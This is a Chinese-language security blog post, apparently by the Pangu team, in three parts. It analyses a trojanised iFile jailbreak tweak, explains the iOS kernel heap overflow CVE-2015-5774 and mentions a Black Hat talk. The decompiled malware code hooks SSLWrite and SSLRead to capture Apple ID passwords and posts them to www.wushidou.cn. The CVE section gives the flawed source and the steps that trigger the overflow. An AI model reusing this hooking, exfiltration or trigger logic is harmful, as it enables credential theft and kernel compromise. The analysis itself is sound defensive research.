Aug, 2015

越狱插件盗取22万个苹果账号样本分析

盗号事件

最近乌云爆出某些越狱插件盗取22万个苹果账号的事件,如果曾经安装过不明源里的插件,建议用户立刻修改密码。

样本分析

下文将分析获取的一个盗号插件样本,该盗号木马将自己捆绑到知名的iFile越狱插件中以达到安装执行的目的。解开deb可以看到跟原版的iFile相比多了一个基于Substrate框架的插件:

$ ls iFile_2.2.0-2-2/data/Library/MobileSubstrate/DynamicLibraries/
iFile.dylib iFile.plist

查看iFile.plist发现iFile.dylib模块被注入了itunesstored这个关键服务:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
    <key>Filter</key>
    <dict>
        <key>Executables</key>
        <array>
            <string>MobileSafari</string>
            <string>assertiond</string>
            <string>SpringBoard</string>
            <string>itunesstored</string>
        </array>
    </dict>
</dict>
</plist>

使用IDA分析iFile.dylib,hookaid方法调用MSHookFunction函数hook了”/System/Library/Frameworks/Security.framework/Security”框架的SSLWrite和SSLRead函数。

int __fastcall hookaid(int a1)
{
  ...
  NSLog(CFSTR("\n\n\n\n\n\n\n\n====================aid==========\n\n\n\n\n\n\n"));
  g_aid_from = v6;
  std::__1::basic_string<char,std::__1::char_traits<char>,std::__1::allocator<char>>::__init(
    &v18,
    "/System/Library/Frameworks/Security.framework/Security",
    54);
  v21 = &__gxx_personality_sj0;
  v22 = &GCC_except_table7_0;
  v23 = &savedregs;
  v25 = &v13;
  v24 = ((unsigned int)&stru_DC.sectname[8] | 1) + 40728;
  v20 = 1;
  _Unwind_SjLj_Register(&v19);
  std::__1::basic_string<char,std::__1::char_traits<char>,std::__1::allocator<char>>::__init(&v17, "SSLWrite", 8);
  v20 = 2;
  v14 = getAdress(&v18, &v17);
  v20 = 3;
  std::__1::basic_string<char,std::__1::char_traits<char>,std::__1::allocator<char>>::~basic_string(&v17);
  v20 = -1;
  std::__1::basic_string<char,std::__1::char_traits<char>,std::__1::allocator<char>>::~basic_string(&v18);
  if ( v14 )
  {
    v20 = -1;
    MSHookFunction(v14, (int)aid_r_SSLWrite, (int)&aid_o_SSLWrite, v7);
  }
  v20 = -1;
  std::__1::basic_string<char,std::__1::char_traits<char>,std::__1::allocator<char>>::__init(
    &v16,
    "/System/Library/Frameworks/Security.framework/Security",
    54);
  v20 = 6;
  std::__1::basic_string<char,std::__1::char_traits<char>,std::__1::allocator<char>>::__init(&v15, "SSLRead", 7);
  v20 = 7;
  v14 = getAdress(&v16, &v15);
  v20 = 8;
  std::__1::basic_string<char,std::__1::char_traits<char>,std::__1::allocator<char>>::~basic_string(&v15);
  v20 = -1;
  std::__1::basic_string<char,std::__1::char_traits<char>,std::__1::allocator<char>>::~basic_string(&v16);
  if ( v14 )
  {
    v20 = -1;
    MSHookFunction(v14, (int)aid_r_SSLRead, (int)&aid_o_SSLRead, v8);
  }
  ...
}

当用户输入AppleID和密码登陆账号时,itunesstored服务会通过SSL连接向苹果服务器验证。因此在SSLWrite函数中可以拦截到明文的ID和密码,而在SSLRead中可以通过服务器返回的数据判断登陆是否成功,一旦登陆成功就将记录的ID和密码回传到服务器。

通过调试手段可以确认在SSLWrite中能获取ID和明文密码:

ifiledebug

可以在输出中看到我们测试输入的账号信息:

  • appleId=test@pangu.io
  • password=123456789

实际解析ID和密码并记录是在 aid_r_SSLWrite -> parsexml 函数中,而实际回传盗取的数据是在 aid_r_SSLRead -> sendAid 函数中:

void *sendAid(void)
{
  ...
    std::__1::basic_string<char,std::__1::char_traits<char>,std::__1::allocator<char>>::basic_string(&v45, &g_aid_name);
    v51 = 2;
    meEncry(&v46, &v45);
    v51 = 3;
    std::__1::basic_string<char,std::__1::char_traits<char>,std::__1::allocator<char>>::~basic_string(&v45);
    v51 = 4;
    std::__1::operator+<char,std::__1::char_traits<char>,std::__1::allocator<char>>(&v33, &v47, "id=");
    v51 = 5;
    std::__1::operator+<char,std::__1::char_traits<char>,std::__1::allocator<char>>(&v34, &v33, &v46);
    v51 = 6;
    std::__1::operator+<char,std::__1::char_traits<char>,std::__1::allocator<char>>(&v35, &v34, "&name=");
    v51 = 7;
    std::__1::operator+<char,std::__1::char_traits<char>,std::__1::allocator<char>>(&v36, &v35, &v46);
    v51 = 8;
    std::__1::operator+<char,std::__1::char_traits<char>,std::__1::allocator<char>>(&v37, &v36, "&pass=");
    v51 = 9;
    std::__1::basic_string<char,std::__1::char_traits<char>,std::__1::allocator<char>>::basic_string(&v31, &g_aid_pass);
    v51 = 10;
    meEncry(&v32, &v31);
    v51 = 11;
    std::__1::operator+<char,std::__1::char_traits<char>,std::__1::allocator<char>>(&v38, &v37, &v32);
    v51 = 12;
    std::__1::operator+<char,std::__1::char_traits<char>,std::__1::allocator<char>>(&v39, &v38, "&guid=");
    v51 = 13;
    std::__1::operator+<char,std::__1::char_traits<char>,std::__1::allocator<char>>(&v40, &v39, &g_aid_guid);
    v51 = 14;
    std::__1::operator+<char,std::__1::char_traits<char>,std::__1::allocator<char>>(&v41, &v40, "&from=");
    v51 = 15;
    getYinwen(&v30, g_aid_from);
    v51 = 16;
    std::__1::operator+<char,std::__1::char_traits<char>,std::__1::allocator<char>>(&v42, &v41, &v30);
    v51 = 17;
    std::__1::operator+<char,std::__1::char_traits<char>,std::__1::allocator<char>>(&v43, &v42, "&xp_ci=");
    v51 = 18;
    std::__1::operator+<char,std::__1::char_traits<char>,std::__1::allocator<char>>(&v44, &v43, &g_aid_xp_ci);
    v51 = 19;
    ...
    v51 = 35;
    NSLog(CFSTR("g_from:%@ url:%s"));
    v28 = 0;
    v27 = 0;
    v29 = 0;
    v51 = 36;
    std::__1::operator+<char,std::__1::char_traits<char>,std::__1::allocator<char>>(
      &v23,
      &v27,
      "POST /aid.php HTTP/1.1\r\n");
    v51 = 37;
    std::__1::operator+<char,std::__1::char_traits<char>,std::__1::allocator<char>>(
      &v24,
      &v23,
      "Host: www.wushidou.cn\r\n");
    v51 = 38;
    std::__1::operator+<char,std::__1::char_traits<char>,std::__1::allocator<char>>(
      &v25,
      &v24,
      "Content-Type: application/x-www-form-urlencoded\r\n");
    v51 = 39;
    std::__1::operator+<char,std::__1::char_traits<char>,std::__1::allocator<char>>(
      &v26,
      &v25,
      "Content-Length: (length)\r\n\r\n");
    v51 = 40;
    std::__1::basic_string<char,std::__1::char_traits<char>,std::__1::allocator<char>>::operator=(&v27, &v26);
    v51 = 41;
    std::__1::basic_string<char,std::__1::char_traits<char>,std::__1::allocator<char>>::~basic_string(&v26);
    v51 = 42;
    std::__1::basic_string<char,std::__1::char_traits<char>,std::__1::allocator<char>>::~basic_string(&v25);
    v51 = 43;
    std::__1::basic_string<char,std::__1::char_traits<char>,std::__1::allocator<char>>::~basic_string(&v24);
    v51 = 44;
    std::__1::basic_string<char,std::__1::char_traits<char>,std::__1::allocator<char>>::~basic_string(&v23);
    v51 = 45;
    std::__1::basic_string<char,std::__1::char_traits<char>,std::__1::allocator<char>>::__init(&v22, "(length)", 8);
    if ( v47 & 1 )
      v9 = v48;
    else
      v9 = (unsigned int)(unsigned __int8)v47 >> 1;
    v51 = 46;
    replaceRegexInt(&v27, &v22, v9);
    v51 = 47;
    std::__1::basic_string<char,std::__1::char_traits<char>,std::__1::allocator<char>>::~basic_string(&v22);
    if ( v47 & 1 )
    {
      v10 = v48;
      v11 = v49;
    }
    else
    {
      v10 = (unsigned int)(unsigned __int8)v47 >> 1;
      v11 = (unsigned int)&v47 | 1;
    }
    v51 = 48;
    std::__1::basic_string<char,std::__1::char_traits<char>,std::__1::allocator<char>>::append(&v27, v11, v10);
    v21 = 0;
    v51 = 49;
    std::__1::basic_string<char,std::__1::char_traits<char>,std::__1::allocator<char>>::__init(
      &v20,
      "www.wushidou.cn",
      15);
    v51 = 50;
    v17 = (void *)Http::init(&v21, &v20);
  ...
}

值得注意的是回传过程中会有一个”from”标记,应该是用于记录这个盗号数据的来源。而在我们拿到的这个样本中 g_aid_from=”bamu”,应该是代表刀八木源中的插件。

后话

本次盗号事件再次让大家关心起越狱的安全问题。越狱为了让用户能完全控制自己的手机,势必打破了苹果原有的安全体系,从而降低了黑客开发盗号木马等的成本(对于非越狱的设备,通过利用漏洞的手段也是可以实现盗号木马等攻击,只是成本大大提高)。希望越狱用户在使用手机时,尽量在官方源下载原版插件。

文中分析的关键文件SHA1:

  • 623866a78ac17fab043a28e8dc6dc63b93f691a2 iFile_2.2.0-2-2.deb
  • c798d24673adcdfd1b31f1cf090766adbbe1622b iFile.dylib

CVE-2015-5774

IOHIDResourceDeviceUserClient::_postReportResult堆溢出漏洞

漏洞描述

该内核漏洞被用于太极越狱v2.0,并于iOS 8.4.1版本中被修补。Apple的安全公告中给出的漏洞编号为CVE-2015-5774,但并未提及漏洞的细节。

通过查看IOHIDFamily的代码,检查IOHIDResourceDeviceUserClient的3号处理函数_postReportResult。该函数的入参是2个uint64(分别对应result和token),以及任意长度的一个struct数据(report数据)。


typedef enum {
    kIOHIDResourceUserClientResponseIndexResult = 0,
    kIOHIDResourceUserClientResponseIndexToken,
    kIOHIDResourceUserClientResponseIndexCount
} IOHIDResourceUserClientResponseIndex;

    {   // kIOHIDResourceDeviceUserClientMethodPostReportResult
        (IOExternalMethodAction) &IOHIDResourceDeviceUserClient::_postReportResult,
        kIOHIDResourceUserClientResponseIndexCount, -1, /* 1 scalar input: the result, 1 struct input : the buffer */
        0, 0
    }

_postReportResult函数的用途是,如果有在等待结果的队列(通过token来找到对应的结构),则将输入的struct数据作为结果复制到该队列中,并唤醒等待。

typedef struct {
    IOReturn                ret;
    IOMemoryDescriptor *    descriptor;
} __ReportResult;

IOReturn IOHIDResourceDeviceUserClient::postReportResult(IOExternalMethodArguments * arguments)
{
    OSObject * tokenObj = (OSObject*)arguments->scalarInput[kIOHIDResourceUserClientResponseIndexToken];

    if ( tokenObj && _pending->containsObject(tokenObj) ) {
        OSData * data = OSDynamicCast(OSData, tokenObj);  // 通过输入的token查找对应数据结构
        if ( data ) {
            __ReportResult * pResult = (__ReportResult*)data->getBytesNoCopy();

            if ( pResult->descriptor && arguments->structureInput ) {
                // 向对象写入数据,该写入行为是安全的,会根据buffer的长度判断最多能够写入的数据长度
                pResult->descriptor->writeBytes(0, arguments->structureInput, arguments->structureInputSize);

                IOBufferMemoryDescriptor * buffer = OSDynamicCast(IOBufferMemoryDescriptor, pResult->descriptor);
                if (buffer)
                    // 修改IOBufferMemoryDescriptor的长度,该长度修改函数内部缺少对长度的检查,从而导致可能的溢出!
                    buffer->setLength((vm_size_t)arguments->structureInputSize);

            }
            pResult->ret = (IOReturn)arguments->scalarInput[kIOHIDResourceUserClientResponseIndexResult];
            _commandGate->commandWakeup(data);
        }       
    }
    return kIOReturnSuccess;
}

分析上述代码,首先IOMemoryDescriptor::writeBytes函数是写入安全的,但前提是_length成员不超过buffer的分配长度。而IOBufferMemoryDescriptor::setLength函数的代码是有问题的,release版本中由于去掉了assert判断,当设置的length大于buffer的分配长度时将会使得writeBytes不再安全,从而造成堆溢出(可控制溢出长度及覆盖数据)。

void IOBufferMemoryDescriptor::setLength(vm_size_t length)
{
    assert(length <= _capacity);  // 该行代码在release版本内核中不存在!

    _length = length;
    _ranges.v64->length = length;
}

通过两次调用_postReportResult方法,第一次将memory descriptor对象的长度设置为structureInputSize(超过buffer的分配长度),第二次再调用时即可导致堆溢出。

触发路径

  • 首先要创建一个IOHID的设备,通过”IOHIDResource”服务的0号调用函数来完成,与CVE-2014-4487相同。
  • 创建一个线程并调用IOHIDLibUserClient::_updateElementValues方法,该函数会等待获取report result数据后返回。
    • IOHIDDevice::updateElementValues函数分配IOBufferMemoryDescriptor,并调用getReport等待返回。
    • IOHIDResourceDeviceUserClient::getReportGated等待report数据(最长等待时间_maxClientTimeoutUS)
  • 主线程中两次调用IOHIDResourceDeviceUserClient::_postReportResult方法触发漏洞

Black Hat & XCon

盘古团队于上周8月6日在拉斯维加斯举办的Black Hat USA 2015会议上分享了”Review and Exploit Neglected Attack Surfaces in iOS 8″的议题。该议题分析了iOS系统中一些不被注意的攻击面,针对内核层讨论了IOKit Fuzz的改进,针对用户层则重点介绍了XPC Fuzz。
错过该议题的同学也可以在下周举办的XCon 2015上听到该议题的分享。

Black Hat Slide下载